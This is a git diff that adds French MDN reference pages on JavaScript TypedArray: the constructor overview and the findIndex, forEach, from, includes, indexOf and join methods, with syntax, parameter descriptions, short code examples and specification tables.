diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/findindex/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/findindex/index.html new file mode 100644 index 0000000000..d1c2c65387 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/findindex/index.html @@ -0,0 +1,116 @@ +--- +title: TypedArray.prototype.findIndex() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/findIndex +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArray + - TypedArrrays +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/findIndex +--- +
{{JSRef}}
+ +

La méthode findIndex() renvoie un indice d'un élément d'un tableau typé si cet élément remplit une condition définie par une fonction de test donnée. S'il n'y a aucun élément satisfaisant, -1 sera renvoyé.

+ +

Voir aussi la méthode {{jsxref("TypedArray.find", "find()")}} qui renvoie la valeur de l'élément trouvé (au lieu de son indice).

+ +
{{EmbedInteractiveExample("pages/js/typedarray-findindex.html")}}
+ + + +

Syntaxe

+ +
typedarray.findIndex(callback[, thisArg])
+ +

Paramètres

+ +
+
callback
+
La fonction à exécuter pour chaque valeur du tableau typé. Elle prend trois arguments : +
+
élément
+
L'élément du tableau typé en cours de traitement.
+
index
+
L'indice de l'élément du tableau typé en cours de traitement.
+
array
+
Le tableau typé sur lequel la méthode findIndex a été appelée.
+
+
+
thisArg
+
Paramètre optionnel, l'objet à utiliser en tant que this pour les appels à callback.
+
+ +

Valeur de retour

+ +

Un indice du tableau pour lequel l'élément remplit la condition décrite par la fonction, -1 sinon.

+ +

Description

+ +

La méthode findIndex exécute la fonction callback une fois pour chacun des éléments présent dans le tableau typé jusqu'à ce que callback renvoie une valeur vraie pour un élément. Si un tel élément est trouvé, findIndex retournera immédiatement l'indice de cet élément. Sinon, findIndex renverra -1. callback est appelé uniquement pour les éléments du tableau qui possèdent une valeur, les éléments qui ont été supprimés ou qui n'ont pas de valeur ne sont pas traités.

+ +

callback est appelé avec trois arguments : la valeur de l'élément, son indice et le tableau typé qui est parcouru.

+ +

Si un paramètre thisArg a été fourni à findIndex, celui-ci sera utilisé en tant que this pour chaque appel de callback. Dans le cas contraire, la valeur {{jsxref("undefined")}} sera utilisée.

+ +

findIndex ne modifie pas le tableau typé sur lequel elle a été appelée.

+ +

La liste des éléments traités par findIndex est définie avant le premier appel à callback. Les éléments qui sont ajoutés au tableau typés après que findIndex ait débuté ne sont pas traités par callback. Si un élément est modifié par un appel à callback précédent, la valeur passée à callback lors du traitement sera celle au moment où findIndex traite l'indice de l'élément. Les éléments qui sont supprimés ne sont pas pris en compte.

+ +

Exemples

+ +

Dans l'exemple suivant, on utilise la méthode pour trouver l'indice d'un nombre premier dans le tableau typé (ou -1 dans le cas où il n'y a pas de nombre premier) :

+ +
function estPremier(élément, index, array) {
+  var début = 2;
+  while (début <= Math.sqrt(élément)) {
+    if (élément % début++ < 1) {
+      return false;
+    }
+  }
+  return élément > 1;
+}
+
+var uint8 = new Uint8Array([4, 6, 8, 12]);
+var uint16 = new Uint16Array([4, 6, 7, 12]);
+
+console.log(uint8.findIndex(estPremier)); // -1, non trouvé
+console.log(uint16.findIndex(estPremier)); // 2
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.findindex', '%TypedArray%.prototype.findIndex')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.findindex', '%TypedArray%.prototype.findIndex')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.findIndex")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("TypedArray.prototype.find()")}}
    • +
  • {{jsxref("TypedArray.prototype.indexOf()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/foreach/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/foreach/index.html new file mode 100644 index 0000000000..b6e38156ff --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/foreach/index.html @@ -0,0 +1,114 @@ +--- +title: TypedArray.prototype.forEach() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/forEach +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/forEach +--- +
{{JSRef}}
+ +

La méthode forEach() permet d'exécuter une fonction donnée sur chaque élément du tableau. Cette méthode implémente le même algorithme que {{jsxref("Array.prototype.forEach()")}}.

+ +

Syntaxe

+ +
tableauTypé.forEach(callback[, thisArg])
+ +

Paramètres

+ +
+
callback
+
La fonction à utiliser pour chaque élément du tableau typé. Elle prend trois arguments : +
+
valeurÉlément
+
La valeur de l'élément traité actuellement.
+
indiceÉlément
+
L'indice de l'élément traité actuellement.
+
tableau
+
Le tableau parcouru par forEach().
+
+
+
thisArg
+
Optionnel. La valeur utilisée pour this lors de l'appel à callback().
+
+ +

Valeur de retour

+ +

{{jsxref("undefined")}}.

+ +

Description

+ +

La méthode forEach() exécute la fonction callback() une fois pour chaque élément présent dans le tableau typé, par ordre d'indice croissant. Cette fonction n'est pas appelée pour les indices sur lesquels les éléments ont été supprimés ou n'ont pas été définis. callback() est cependant appelée pour les éléments qui portent la valeur {{jsxref("undefined")}}.

+ +

callback() accepte trois arguments :

+ +
    +
  • la valeur de l'élément
    • +
  • l'indice de l'élément
    • +
  • le le tableau typé traversé
    • +
+ +

Si le paramètre thisArg est fourni à forEach(), il sera la valeur du this utilisé par chaque exécution de callback(). Dans le cas contraire, la valeur {{jsxref("undefined")}} sera utilisée par défaut. Pour déterminer la valeur de this véritablement visible par callback() durant son exécution, les règles habituelles pour {{jsxref("Operators/this", "déterminer la valeur de this du point de vue d'une fonction")}} sont appliquées.

+ +

L'ensemble des éléments visités par forEach() est fixé avant le premier appel à callback. Ainsi, les éléments qui sont ajoutés au tableau typé après que l'exécution de forEach() soit lancée ne seront pas traités. Cependant, si la valeur d'un élément à traiter est modifiée pendant l'exécution de forEach(), la valeur passée à callback() sera celle de l'élément au moment où il est traité. Si un élément est supprimé avant d'être visité, il ne sera pas traité.

+ +

forEach() lance un appel à la fonction callback() pour chaque élément du tableau typé ; à la différence de {{jsxref("TypedArray.prototype.every()", "every()")}} et {{jsxref("TypedArray.prototype.some()", "some()")}} cette méthode renvoie toujours {{jsxref("undefined")}}.

+ +

Exemples

+ +

Exemple: Affichage du contenu d'un tableau typé

+ +

Le code ci-dessous affiche une ligne pour chaque élément du tableau typé :

+ +
function affichageContenuTableau(élément, index, tableau) {
+  console.log('a[' + index + '] = ' + élément);
+}
+
+new Uint8Array([0, 1, 2, 3]).forEach(affichageContenuTableau);
+// log :
+// a[0] = 0
+// a[1] = 1
+// a[2] = 2
+// a[3] = 3
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.foreach', '%TypedArray%.prototype.forEach')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.foreach', '%TypedArray%.prototype.forEach')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.forEach")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("TypedArray.prototype.map()")}}
    • +
  • {{jsxref("TypedArray.prototype.every()")}}
    • +
  • {{jsxref("TypedArray.prototype.some()")}}
    • +
  • {{jsxref("Array.prototype.forEach()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/from/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/from/index.html new file mode 100644 index 0000000000..d1e4dff361 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/from/index.html @@ -0,0 +1,130 @@ +--- +title: TypedArray.from() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/from +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Reference + - TypedArray + - TypedArrays + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/from +--- +
{{JSRef}}
+ +

La méthode TypedArray.from() crée un nouvel objet {{jsxref("TypedArray", "TypedArray", "#Les_objets_TypedArray")}} à partir d'un objet itérable ou d'un objet semblable à un tableau. Cette méthode est similaire à {{jsxref("Array.from()")}}.

+ +

Syntaxe

+ +
TypedArray.from(source[, mapFn[, thisArg]])
+
+où TypedArray est l'un de :
+
+Int8Array
+Uint8Array
+Uint8ClampedArray
+Int16Array
+Uint16Array
+Int32Array
+Uint32Array
+Float32Array
+Float64Array
+BigInt64Array
+BigUint64Array
+
+ +

Paramètres

+ +
+
source
+
Un objet semblable à un tableau ou un objet itérable, et à partir duquel on souhaite créer un tableau typé.
+
fonctionMap
+
Argument optionnel, une fonction à appliquer à chacun des éléments du tableau.
+
thisArg
+
Argument optionnel. La valeur à utiliser pour this lors de l'exécution de la fonction fonctionMap.
+
+ +

Valeur de retour

+ +

Une nouvelle instance de {{jsxref("TypedArray")}}.

+ +

Description

+ +

TypedArray.from() permet de créer des tableaux typés à partir :

+ + + +

Array.from possède un paramètre optionnel fonctionMap, qui permet d'exécuter une fonction {{jsxref("Array.prototype.map", "map")}} sur chacun des éléments du tableau typé (ou de l'instance de la classe fille) qui est créé. Autrement dit TypedArray.from(obj, fonctionMap, thisArg) correspond exactement à TypedArray.from(obj).map(fonctionMap, thisArg).

+ +

Il existe de légères différences entre {{jsxref("Array.from()")}} et TypedArray.from() :

+ +
    +
  • Si la valeur de this passée à TypedArray.from n'est pas un constructeur, TypedArray.from lèvera une exception {{jsxref("TypeError")}}, tandis que Array.from créera un nouvel objet {{jsxref("Array")}}.
    • +
  • TypedArray.from utilise [[Set]] tandis que Array.from utilise [[DefineProperty]]. Ainsi par exemple lorsque des objets {{jsxref("Proxy")}} sont manipulés la première méthode appellera {{jsxref("Objets_globaux/Proxy/handler/set", "handler.set")}} pour créer les nouveaux éléments et la seconde appellera {{jsxref("Objets_globaux/Proxy/handler/defineProperty", "handler.defineProperty")}}.
    • +
  • Lorsque source est un itérable, TypedArray.from va dans un premier temps récupérer toutes ses valeurs, puis initialiser une instance de this à l'aide de leur nombre, et enfin ajouter ces valeurs à l'instance. Array.from ajoute les valeurs au nouvel objet lors du parcours de l'itérateur et ne définit la taille de l'objet qu'en dernière étape.
    • +
  • Si Array.from reçoit un objet semblable à un tableau qui n'est pas un itérable, les valeurs non définies sont conservées. TypedArray.from construit un objet dense en éliminant ces valeurs.
    • +
+ +

Exemples

+ +
// Set (objet itérable)
+var s = new Set([1, 2, 3]);
+Uint8Array.from(s);
+// Uint8Array [ 1, 2, 3 ]
+
+
+// String
+Int16Array.from("123");
+// Int16Array [ 1, 2, 3 ]
+
+
+// En utilisant un fonction fléchée en tant que
+// fonctionMap pour manipuler les éléments
+Float32Array.from([1, 2, 3], x => x + x);
+// Float32Array [ 2, 4, 6 ]
+
+
+// Pour construire une séquence de nombres
+Uint8Array.from({length: 5}, (v, k) => k);
+// Uint8Array [ 0, 1, 2, 3, 4 ]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.from', '%TypedArray%.from')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.from', '%TypedArray%.from')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.from")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("TypedArray.of()")}}
    • +
  • {{jsxref("Array.from()")}}
    • +
  • {{jsxref("Array.prototype.map()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/includes/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/includes/index.html new file mode 100644 index 0000000000..84ff7ecc17 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/includes/index.html @@ -0,0 +1,86 @@ +--- +title: TypedArray.prototype.includes() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/includes +tags: + - ECMAScript 2016 + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/includes +--- +
{{JSRef}}
+ +

La méthode includes() détermine si un tableau typé possède un certain élément et renvoie true ou false selon le cas de figure. Cette méthode utilise le même algorithme que la méthode {{jsxref("Array.prototype.includes()")}}. Dans le reste de l'article TypedArray fait référence à un des types de tableau typé.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-includes.html")}}
+ + + +

Syntaxe

+ +
typedarray.includes(élémentRecherché[, indiceDébut]);
+ +

Paramètres

+ +
+
élémentRecherché
+
L'élément qu'on cherche au sein du tableau typé.
+
indiceDébut
+
Paramètre optionnel qui correspond à la position du tableau à partir de laquelle effectuer la recherche. La valeur par défaut est 0.
+
+ +

Valeur de retour

+ +

Un booléen indiquant la présence de l'élément (true s'il y est, false sinon).

+ +

Exemples

+ +
var uint8 = new Uint8Array([1,2,3]);
+uint8.includes(2);     // true
+uint8.includes(4);     // false
+uint8.includes(3, 3);  // false
+
+// Gestion de NaN (vrai uniquement pour Float32 et Float64)
+new Uint8Array([NaN]).includes(NaN); // false car NaN est converti en 0 par le constructeur
+new Float32Array([NaN]).includes(NaN); // true;
+new Float64Array([NaN]).includes(NaN); // true;
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES7', '#sec-%typedarray%.prototype.includes', 'TypedArray.prototype.includes')}}{{Spec2('ES7')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.includes', 'TypedArray.prototype.includes')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.includes")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.includes()")}}
    • +
  • {{jsxref("String.prototype.includes()")}}
    • +
  • {{jsxref("TypedArray.prototype.indexOf()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/index.html new file mode 100644 index 0000000000..aa22e02160 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/index.html @@ -0,0 +1,286 @@ +--- +title: TypedArray +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray +tags: + - JavaScript + - Reference + - TypedArray +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray +--- +
{{JSRef}}
+ +

Un objet TypedArray décrit une vue organisée à la façon d'un tableau pour manipuler un tampon (buffer) de données binaires. TypedArray n'est pas une propriété globale, il n'existe pas non plus de constructeur TypedArray.  En revanche, plusieurs propriétés globales existent et leurs valeurs permettent de construire des tableaux typés (typed arrays) avec différents types de données. Ceux-ci sont listés ci-après. Les pages suivantes permettent de décrire les propriétés et méthodes qui peuvent être utilisées sur les différents tableaux typés.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-constructor.html")}}
+ + + +

Syntaxe

+ +
new TypedArray(longueur);
+new TypedArray(tableauTypé);
+new TypedArray(objet);
+new TypedArray(tampon [, décalageEnOctet [, longueur]]);
+
+// où TypedArray() est l'un de :
+
+Int8Array();
+Uint8Array();
+Uint8ClampedArray();
+Int16Array();
+Uint16Array();
+Int32Array();
+Uint32Array();
+Float32Array();
+Float64Array();
+BigInt64Array();
+BigUint64Array();
+
+ +

Paramètres

+ +
+
longueur
+
Lorsque le constructeur est appelé avec un argument longueur, un tableau typé sera créé, contenant autant de zéros que longueur (par exemple avec une longueur de 3, on aura un tableau dont les trois éléments seront des zéros).
+
tableauTypé
+
Lorsque le constructeur est appelé avec un argument tableauTypé, qui peut être un tableau typé de n'importe quel type (par exemple Int32Array), le tableauTypé est copié dans un nouveau tableau typé. Chaque valeur du tableauTypé est convertie dans le type correspondant du nouveau tableau. Enfin, la longueur du tableau typé est fixée avec la longueur de tableauTypé.
+
objet
+
Lorsque le constructeur est invoqué avec un argument objet, un nouveau tableau typé est créé avec la méthode TypedArray.from().
+
tampon, décalageOctet, longueur
+
Lorsque le constructeur est appelé avec un tampon (buffer) ainsi qu'avec les paramètres optionnels décalageOctet et longueur, un nouveau tableau typé est créé comme une vue pour l'objet {{jsxref("ArrayBuffer")}}. Les paramètres décalageOctet et longueur permettent de définir l'intervalle de mémoire du buffer qui est présenté dans la vue qu'est le tableau typé. Si les deux derniers paramètres sont absents, l'ensemble du tampon sera considéré. Si longueur est absent, on considèrera l'ensemble de tampon à partir de l'octet décalageOctet.
+
+ +

Description

+ +

ECMAScript 2015 (ES6) définit un constructeur %TypedArray% qui est un [[Prototype]] de tous les constructeurs TypedArray. Ce constructeur n'est pas accessible directement. Il n'existe pas de  %TypedArray% global ou de propriété TypedArray.  Il est uniquement accessible via Object.getPrototypeOf(Int8Array.prototype) ou avec les méthodes semblables. L'ensemble des différents constructeurs TypedArrays hérite de propriétés communes de la fonction %TypedArray%. De plus, tous les prototypes des tableaux typés (TypedArray.prototype) ont %TypedArray%.prototype pour [[Prototype]].

+ +

Le constructeur %TypedArray% en tant que tel n'est pas très utile. Toute tentative d'appel ou d'utilisation avec une expression new renverra TypeError, sauf quand il est utilisé par le moteur JavaScript lors de la création de l'objet quand le moteur supporte les sous-classes. À l'heure actuelle, il n'existe pas de tels moteurs, pour cette raison %TypedArray% est uniquement utile dans les fonctions d'émulation (polyfill) our pour les propriétés des différents constructeurs TypedArray.

+ +

Lorsqu'on crée une instance de TypedArray (ex. une instance de Int8Array ou autre), un tampon de mémoire tableau est créé en interne par le moteur (si un objet ArrayBuffer est passé en argument, c'est celui-ci qui est utilisé). C'est l'adresse de cette mémoire tampon qui est sauvegardée comme une propriété interne à l'objet. Toutes les méthodes de %TypedArray%.prototype utiliseront ensuite cet espace pour les opérations.

+ +

Accès aux propriétés

+ +

Il est possible d'accéder aux éléments du tableau en utilisant la notation usuelle avec les crochets. Cependant, définir ou accéder à des propriétés indexées ne se fera pas avec la chaîne de prototypes, même si l'indice utilisé est en dehors des limites du tableau. Les propriétés indexées seront uniquement basées sur le contenu du {{jsxref("ArrayBuffer")}} et ne consulteront pas les propriétés des objets. En revanche, il est toujours possible d'utiliser des propriétés nommées, comme avec les autres objets.

+ +
// Définir et accéder du contenu avec la syntaxe usuelle
+var int16 = new Int16Array(2);
+int16[0] = 42;
+console.log(int16[0]); // 42
+
+// Les propriétés indexées sur les prototypes ne sont pas consultées (Fx 25)
+Int8Array.prototype[20] = "toto";
+(new Int8Array(32))[20]; // 0
+// y compris en dehors des limites
+Int8Array.prototype[20] = "toto";
+(new Int8Array(8))[20]; // undefined
+// ou avec des index négatifs
+Int8Array.prototype[-1] = "toto";
+(new Int8Array(8))[-1]; // undefined
+
+// Mais il est possible d'utiliser des propriétés nommées (Fx 30)
+Int8Array.prototype.toto = "truc";
+(new Int8Array(32)).toto; // "truc"
+ +

Les objets TypedArray

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TypeIntervalleTaille (exprimée en octets)DescriptionType Web IDLType équivalent en C
{{jsxref("Int8Array")}}-128 à 1271Entier signé en complément à deux sur 8 bits.byteint8_t
{{jsxref("Uint8Array")}}0 à 2551Entier non signé sur 8 bits.octetuint8_t
{{jsxref("Uint8ClampedArray")}}0 à 2551Entier non signé sur 8 bits (compris entre 0 et 255).octetuint8_t
{{jsxref("Int16Array")}}-32768 à 327672Entier signé en complément à deux sur 16 bits.shortint16_t
{{jsxref("Uint16Array")}}0 à 655352Entier non signé sur 16 bits.unsigned shortuint16_t
{{jsxref("Int32Array")}}-2147483648 à 21474836474Entier signé en complément à deux sur 32 bits.longint32_t
{{jsxref("Uint32Array")}}0 à 42949672954Entier non signé sur 32 bits.unsigned longuint32_t
{{jsxref("Float32Array")}}1.2x10-38 à 3.4x10384Nombre flottant sur 32 bits selon la représentation IEEE (7 chiffres significatifs).unrestricted floatfloat
{{jsxref("Float64Array")}}5.0x10-324 à 1.8x103088Nombre flottant sur 64 bits selon la représentation IEEE (16 chiffres significatifs).unrestricted doubledouble
{{jsxref("BigInt64Array")}}-263 à 263-18Nombre entier signé sur 64 bits en complément à deux.bigintint64_t (signed long long)
{{jsxref("BigUint64Array")}}0 à 264-18Nombre entier non signé sur 64 bits.bigintuint64_t (unsigned long long)
+ +

Propriétés

+ +
+
{{jsxref("TypedArray.BYTES_PER_ELEMENT")}}
+
Cette propriété renvoie un nombre correspondant à la taille d'un élément du tableau selon le type de tableau utilisé.
+
TypedArray.length
+
La propriété de longueur, elle vaut 3.
+
{{jsxref("TypedArray.name")}}
+
Cette propriété renvoie la chaîne de caractères correspondant au nom du constructeur (par exemple "Int8Array").
+
{{jsxref("TypedArray.@@species", "get TypedArray[@@species]")}}
+
La fonction de construction utilisée pour créer des objets dérivés.
+
{{jsxref("TypedArray.prototype")}}
+
Le prototype des objets TypedArray.
+
+ +

Méthodes

+ +
+
{{jsxref("TypedArray.from()")}}
+
Cette méthode permet de créer un nouveau tableau typé à partir d'un itérable ou d'un objet semblable à un tableau. Voir aussi {{jsxref("Array.from()")}}.
+
{{jsxref("TypedArray.of()")}}
+
Cette méthode permet de créer un nouveau tableau typé à partir d'un nombre variable d'arguments. Voir aussi {{jsxref("Array.of()")}}.
+
+ +

Prototype TypedArray

+ +

Toutes les instances de TypedArrays héritent de {{jsxref("TypedArray.prototype")}}.

+ +

Propriétés

+ +

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray/prototype','Propriétés')}}

+ +

Méthodes

+ +

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray/prototype','Méthodes')}}

+ +

Prothèse d'émulation (polyfill)

+ +

La plupart des méthodes des tableaux typés peuvent être en partie émulées grâce aux méthodes rattachées à {{jsxref("Array")}} :

+ +
var typedArrayTypes = [Int8Array, Uint8Array, Uint8ClampedArray, Int16Array, Uint16Array, ​​​Int32Array, Uint32Array, ​​​Float32Array, Float64Array];
+for (var k in typedArrayTypes){
+  for (var v in Array.prototype){
+    if (Array.prototype.hasOwnProperty(v) &&
+  ​​​​​         !typedArrayTypes[k].prototype.hasOwnProperty(v)){
+      typedArrayTypes[k].prototype[v] = Array.prototype[v];
+    }
+  }
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Défini comme TypedArray et interface ArrayBufferView avec les différents types de vues des tableaux typés. Cette spécification a été englobée dans ECMAScript 2015.
{{SpecName('ES6', '#sec-typedarray-objects', 'TypedArray Objects')}}{{Spec2('ES6')}}Définition initiale au sein d'un standard ECMA. new est obligatoire.
{{SpecName('ESDraft', '#sec-typedarray-objects', 'TypedArray Objects')}}{{Spec2('ESDraft')}}ECMAScript 2017 a modifié les constructeurs TypedArray afin qu'ils utilisent l'opération ToIndex et puissent être utilisés sans argument.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray")}}

+ +

Notes de compatibilité

+ +

À partir d'ECMAScript 2015 (ES6), les constructeurs TypedArray doivent être utilisés avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur TypedArray comme une fonction, sans new, provoquera une exception {{jsxref("TypeError")}}.

+ +
var dv = Float64Array([1, 2, 3]);
+// TypeError: calling a builtin Float64Array constructor
+// without new is forbidden
+ +
var dv = new Float64Array([1, 2, 3]);
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/indexof/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/indexof/index.html new file mode 100644 index 0000000000..0713bfd101 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/indexof/index.html @@ -0,0 +1,92 @@ +--- +title: TypedArray.prototype.indexOf() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/indexOf +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/indexOf +--- +
{{JSRef}}
+ +

La méthode indexOf() renvoie le premier indice (le plus petit) auquel on peut trouver un élément donné dans le tableau typé. Si l'élément n'est pas trouvé, la valeur de retour sera -1. L'algorithme utilisé pour cette méthode est le même que celui pour {{jsxref("Array.prototype.indexOf()")}}. Pour le reste de l'article TypedArray correspond à l'un des types de tableau typé.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-indexof.html")}}
+ + + +

Syntaxe

+ +
typedarray.indexOf(élémentRecherché[, indiceDébut = 0])
+ +

Paramètres

+ +
+
élémentRecherché
+
L'élément qu'on souhaite situer dans le tableau typé.
+
indiceDébut
+
Paramètre optionnel représentant l'indice à partir duquel commencer la recherche de l'élément. Si l'indice est supérieur ou égal à la longueur du tableau, la méthode renverra -1 et le tableau typé ne sera pas parcouru. Si la valeur fournie est négative, la recherche commencera à partir de l'élément situé à l'indice length-indiceDébut. Note : même si la valeur fournie est négative, le parcours du tableau typé s'effectuera toujours du plus petit index vers le plus grand. Si la valeur calculée pour l'indice de début est inférieure à 0, l'ensemble du tableau typé sera parcouru. La valeur par défaut de ce paramètre est 0 (tout le tableau est parcouru).
+
+ +

Valeur de retour

+ +

Le premier indice du tableau pour lequel l'élément a été trouvé, -1 s'il n'a pas été trouvé.

+ +

Description

+ +

indexOf compare élémentRecherché aux éléments du tableau typé en utilisant l'égalité stricte (celle utilisée par l'opérateur ===).

+ +

Exemples

+ +
var uint8 = new Uint8Array([2, 5, 9]);
+uint8.indexOf(2);     // 0
+uint8.indexOf(7);     // -1
+uint8.indexOf(9, 2);  // 2
+uint8.indexOf(2, -1); // -1
+uint8.indexOf(2, -3); // 0
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.indexof', 'TypedArray.prototype.indexOf')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.indexof', 'TypedArray.prototype.indexOf')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.indexOf")}}

+ +

Notes de compatibilité

+ +
    +
  • À partir de Firefox 47 ({{geckoRelease(47)}}), cette méthode ne renverra plus -0. Ainsi, new Uint8Array([0]).indexOf(0, -0) renverra toujours +0 (cf. {{bug(1242043)}}).
    • +
+ +

Voir aussi

+ +
    +
  • {{jsxref("TypedArray.prototype.lastIndexOf()")}}
    • +
  • {{jsxref("Array.prototype.indexOf()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/join/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/join/index.html new file mode 100644 index 0000000000..59ad42335e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/join/index.html @@ -0,0 +1,92 @@ +--- +title: TypedArray.prototype.join() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/join +tags: + - ECMAScript6 + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/join +--- +
{{JSRef}}
+ +

La méthode join() fusionne l'ensemble des éléments d'un tableau en une chaîne de caractères. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.join()")}}. Dans le reste de cet article TypedArray fait référence à l'un des types de tableaux typés.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-join.html")}}
+ + + +

Syntaxe

+ +
typedarray.join([séparateur = ',']);
+ +

Paramètres

+ +
+
séparateur
+
Paramètre optionnel qui définit la chaîne de caractères à utiliser pour séparer chaque élément. Si nécessaire, le séparateur sera converti en une chaîne de caractère. La valeur par défaut du paramètre est une virgule (",").
+
+ +

Valeur de retour

+ +

Une chaîne de caractères formée par la concaténation des différents éléments du tableau typé.

+ +

Exemples

+ +
var uint8 = new Uint8Array([1,2,3]);
+uint8.join();      // '1,2,3'
+uint8.join(' / '); // '1 / 2 / 3'
+uint8.join('');    // '123'
+
+ +

Prothèse d'émulation (polyfill)

+ +

Il n'existe pas d'objet global TypedArray, il faut donc ajouter une prothèse correspondant à chaque type de tableau typé.

+ +
// https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.join
+if (!Uint8Array.prototype.join) {
+  Object.defineProperty(Uint8Array.prototype, 'join', {
+    value: Array.prototype.join
+  });
+}
+
+ +

Mieux vaut ne pas ajouter de prothèses pour TypedArray.prototype si le moteur JavaScript ne prend pas en charge {{jsxref("Object.defineProperty()")}} car on ne peut pas les rendre non-énumérables.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.join', 'TypedArray.prototype.join')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.join', 'TypedArray.prototype.join')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.join")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("TypedArray")}}
    • +
  • {{jsxref("Array.prototype.join()")}}
    • +
